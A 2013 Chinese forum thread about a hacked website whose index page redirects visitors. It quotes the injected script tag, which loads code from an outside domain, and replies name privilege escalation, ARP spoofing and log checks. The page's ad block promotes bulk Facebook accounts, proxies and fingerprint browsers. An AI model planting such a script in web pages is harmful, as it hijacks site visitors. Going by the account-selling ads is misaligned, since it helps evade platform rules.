关于网站被黑被跳转

浅醉 · 发表于 2013-5-30 13:53:23

貌似最近黑客活动的比较频繁

有朋友的网站经常被跳转,就是在index加了句

<script language="javascript" src="http://www.googletracing.com/index.php?i=louisvuitton"></script>

是用这句JS去调用另一个页面的跳转代码来跳转吗?

已经把写入权限关了都还能修改index是怎么回事?

大家对网站安全方面有没有什么心得可以分享一下呢?

aja0x.som · 发表于 2013-5-30 20:37:48

即使你限制了权限，一旦入侵并提权依然可写，只要提的权限够高，一切可写。
另如果是被ARP攻击也可插入代码且无须侵入主机，同一VLAN内即可。
查被修改网站的最近access和error日志吧

sooboo · 发表于 2013-5-31 14:55:12

使用谷歌cdn加速，屏蔽掉真是IP

		自动登录	找回密码
密码			立即注册

谷歌+Bing+TT+MSN官方代理	⚡️按条S5代理⚡️静态⚡️独享⚡️5G	需要代理IP?⚡️Proxysites.ai⚡️	指纹浏览器，就用AdsPower
Mediabuy⚡️玩家开户首选	【鲁班跨境通-自助充值转账】	FB/GG/TT❤️官方免费开户	Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理	*开户投流-724h❤️人工在线**	【官方】❤️搜索套利买量投流开户	独立站⚡️开户投放
DuoPlus专注打造跨境电商云手机	E.PN 虚拟卡	BINOM TRACKER 60% OFF!	比Adplexity还好用的Spy工具
ADPLEXITY + ADVERTCN	7200W全球动态不重复住宅IP代理	虚拟信用卡+独立站收款	全球虚拟卡, 支持U充值
Facebook 批量上广告	尤里改 - FB 稳定投放	免费黑五教程（持续更新、欢迎交流）	FB 三不限源头 - 自助下户充值转款
各种主页、账单户、BM户（优势）	⚡️个人户，bm户不限额，账单户	9Proxy ⚡️ $0.04/IP, 无限带宽	IPCola原生住宅IP⚡️$2.1/条双ISP
Google、Bing官方总代联盟流量开户	fb耐用号0.01一个	fb账号官方合作商	FB资源，账单户，分享户，国内一手
FB企业户BM户账单户源头	广告位出租

[讨论] 关于网站被黑被跳转

社区QQ达人